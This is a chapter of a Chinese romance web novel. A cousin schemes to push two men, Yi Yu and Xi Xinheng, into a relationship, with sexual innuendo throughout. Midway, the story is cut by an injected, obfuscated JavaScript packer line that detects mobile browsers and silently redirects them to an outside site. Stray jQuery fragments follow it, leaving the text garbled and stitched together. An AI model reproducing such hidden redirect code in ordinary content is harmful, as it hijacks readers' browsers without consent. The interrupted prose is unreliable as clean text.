一周没回来,家具上落了一层薄薄的灰尘,易虞快速打扫一遍,往沙发上一坐,扫地机器人开始工作。
天有点黑了,但他还不饿,打算刷刷外卖软件激发食欲。
手机响起,是宁霜嘉的电话。
“易虞哥哥!你住哪里?求收留!我要离家出走!”
“待在家里我会闷死!我表哥不肯收留我,我只剩下你了!”
“易虞哥哥你最好了!”
电话那边的宁霜嘉委屈巴巴,易虞不忍心拒绝,把地址发给了他。
“大恩不言谢!”
电话挂断,易虞耳边还回响着宁霜嘉的声音。
吵得耳朵疼。
半个小时后,宁霜嘉拖着行李箱走进来,后面还跟了一个人——席信恒。
易虞怀疑这是表兄弟的计策。
宁霜嘉笑嘻嘻地挽住他的胳膊,十分认真地解释:“易虞哥哥,我没和表哥说我来这里,是……是出门的时候撞上他回家,他非要送我一程……”
他半信半疑,无奈地撇嘴,地址还是被狗东西知道了。
“我妈禁止我出门找帅哥,好不容易溜出门又被应修衡纠缠!我的命太苦了!”他抱住易虞假哭装可怜,偷偷朝席信恒眨眼,比了个“OK”的手势。
“好吧,你可以暂时住这里。”易虞心软了。
“谢谢!”宁霜嘉兴奋地站起来,把站在一边的席信恒拉过来,让他坐到易虞旁边,然后打开行李箱,“为了感谢你的帮助,我特地准备了一点小礼物。”
“当当当!”他拿出一个小玩具,按下开关,“嗡嗡”声响起。
“食品级硅胶材质,环保无毒,仿真度超高,有三档可调节,还能发热,还能身寸液体。”
“这几盒是大码的,没过期哦!超好用,超级薄,就像没戴一样!”
“怎么样,这些都很实用吧?”
这可是他为了表哥的幸福,亲自挑选的!
易虞很想变成一座石雕。
他偷偷瞥了一眼席信恒,对方比他淡定多了。
“易虞哥哥,你喜欢吗?”宁霜嘉把小玩具扔给他。
他接住时不小心碰到开关,玩具震动起来,他手忙脚乱地关掉,扔到茶几上。
这款玩具做得保守,比他的还小,更不用说狗东西……
他又在对比什么!
“我去买点吃的。”席信恒坐不住了,他担心再待下去,会忍不住对易虞做点什么。
宁霜嘉给表哥列了个购物清单,让他必须买齐全了再回来。
“易虞哥哥,我表哥走了,咱们好好聊聊呗,你和他进展到哪一步了,做了吗?你和他谁是1?”宁霜嘉看他们谈恋爱太着急了,搞纯爱也不能这么慢啊!
“我和他……什么进展都没有!我们又不是情侣!就算、就算做了,我也是1!”易虞语无伦次地回答。
“我都不想揭穿你们!”宁霜嘉决定戳破他们,逼易虞正视内心,“你们亲了抱了,但是好朋友?拜托!好朋友也是有距离的,你们过于亲密了。”
“他喜欢你,你喜欢他,但你非说你们是朋友,难道这是你们的情趣?”
“谁喜欢他?”易虞像一只炸毛的猫,从沙发上弹起,宁霜嘉的一字一句砸到他心上,让他不得不正视深藏内心、不敢深究、不敢面对的情感。
他确定自己不想找男朋友,但如果是席信恒……
不行!他不能这么假设!
怎么让他们捅破薄薄的窗户纸呢?
宁霜嘉思来想去,决定下一剂猛药。
“我妈说,叔叔婶婶,也就是我表哥爸妈,打算让我表哥相亲,据说对方很符合他们的要求。你说我表哥能答应吗?”
易虞脸色微变,轻声问:“是……吴小姐?”
什么吴小姐,表哥不会真去相亲过吧?
事已至此,宁霜嘉只能硬着头皮往下编:“对!就是吴小姐!他们把她夸得天花乱坠,恨不得立刻让她和我表哥结婚。易虞哥哥,你见过她么,真有那么好?”
“没有。”易虞摇头,他心里很乱,起身往卧室走,“我有点累,我去睡一会儿。”
宁霜嘉皱皱眉,易虞这边基本搞定了,接下来该对表哥出招了。
“表哥,刚才易虞哥哥跟我说,他想离开这里,换个城市生活。”
席信恒一进门,宁霜嘉就像小蜜蜂似的在他耳边“嗡嗡嗡”。
“他说换个地方换个心情,你是不是惹他生气了?”
“会不会是他男朋友的意思?难道他们早就看好外地的房子了?”
“共筑爱巢,还挺浪漫……”
“有完没完?”席信恒把包装袋重重地放到茶几上,眼神冷得能把方圆几公里的东西都冻上。
“没完!你再不下手,他就跟别人跑了!表哥,丢掉你的道德吧,不要错失机会。”宁霜嘉把一盒套塞到他手里,“不用谢,我出去玩,你们尽兴哦。”
说完,他拍拍表哥的肩,拖走行李箱,光速出门。
电梯下到一楼,宁霜嘉收到亲妈的消息和银行的短信——卡全停了。
简单来说,现在他身上一分钱都没有!
唯一有钱的表哥还在进行人生大事,他不能打扰!
寒风中,一辆车停在宁霜嘉面前。
宁霜嘉最爱“添油加醋”,席信恒一直不完全相信他的话,但事关易虞,他无法理智思考。
随手把小盒子塞到兜里,他走到卧室门口,抬手敲门。
敲了几下没人回应,担心他出事,席信恒推门进去。
屋内没开灯,隐约有个人影坐在床上,席信恒单膝跪到他面前,温声问他:“易虞,怎么了?要开灯吗?”
“不。”易虞的声音很小,那种无力感将他笼罩。
宁霜嘉的话让他有点害怕。
他不想失去席信恒,也不想和席信恒成为情侣。
他固执地认为友情比爱情长久。
他清楚地知道席信恒的父母不喜欢他,也不会接受儿子和一个男人在一起,他们希望席信恒和门当户对的女孩结婚生子。
他和席信恒不会有结果,就算有,无非是掰了或者转变为见不得光的关系,他会成为人人厌恶的第三者,第三者也不是终点,终点可能是被抛弃,然后身败名裂。
无论哪一种,他都不愿意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995259|193302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一颗心悬着,席信恒握住他的手,凉得他心疼。
“告诉我好不好?无论有什么难题,我们一起解决。”
“你不要和邵延离开……”
“你要结婚了吗?”
“什么离开?”
“什么结婚?”
易虞打开台灯,暖光笼罩床前的小天地。
席信恒看到他脸上还未干的泪痕,他好像不知道自己哭了,任由眼泪一直流到下巴。
易虞:“你先说。”
席信恒复述了宁霜嘉的话。
“我从来没说过这些!”易虞知道他们都中了宁霜嘉的计。
“他说我要结婚了?他怎么不去写小说呢?”席信恒想扒了宁霜嘉的皮。
“谁让你有‘前科’呢?说说吧,席总,吴小姐到底是谁?”易虞戳戳他的肩膀,低头盯着他。
“吴小姐就是无小姐啊,没有,骗你的。”席信恒眼底满是笑,牵起他的手亲了亲,“我只是想和你吃饭。”
易虞呼吸一滞,他呆呆地看着席信恒,脑海中闪过他家出事后、他们相处的一幕幕,原来席信恒早有预谋。
他很感动,感动过后,他又开始害怕。
席信恒给的一切都太好了,易虞害怕他习惯了这一切,不知道什么时候又会失去这一切。
“易虞,告诉我你的想法。你知道我……”
“我知道。”易虞赶紧打断他,不再掩饰他的恐惧,小声说,“我不想改变我们的关系,我怕……你知道我爸妈的感情也很好,可是后来……对不起,我、我知道这对你不公平,我……”
席信恒明白了他的意思,他起身坐到他身边,轻轻抱住他。
“好,不改变。依旧是‘你讨厌我,我讨厌你’的关系,行吗?”他想保持原状,席信恒就陪他。
无论易虞做什么决定,他都无条件支持。
“席信恒,我很坏吧。”易虞抱住他,下巴在他肩上蹭了蹭。
“一般,我比你坏,你别想赢我。”他故作轻松地开玩笑,让气氛轻松起来。
“哼。”易虞拍了他一下,不小心碰到他的裤兜,鼓鼓的,好像有很多东西。
“你兜里什么……”
“别!”
话说晚了,易虞已经把东西掏出来了。
超薄、橡胶、大码……
“狗东西你进来到底想干什么?”他把小盒子摔到席信恒身上,他在卧室哭唧唧,他呢?脑子里全是黄色废料!
“宁霜嘉塞的,我可什么都没想!”席信恒解释。
“哦,原来你什么都没想。”易虞脸色更差,侧身拒绝继续交流。
席信恒无奈地叹气,扳过他的肩,认真地说:“你到底是希望我想还是不想。”
“当然是……不想!”易虞眼神闪躲,深觉自己有当渣男的潜质,刚说了要友情,又说……
“你希望我不想,我偏不,我很想。”席信恒捏起小盒子,压低声音,“我想和你把这一盒都用完,可能还不够,不过我不想弄在里面,我怕你难受。”
易虞慌乱地捂住他的嘴。
狗东西到底在想什么啊!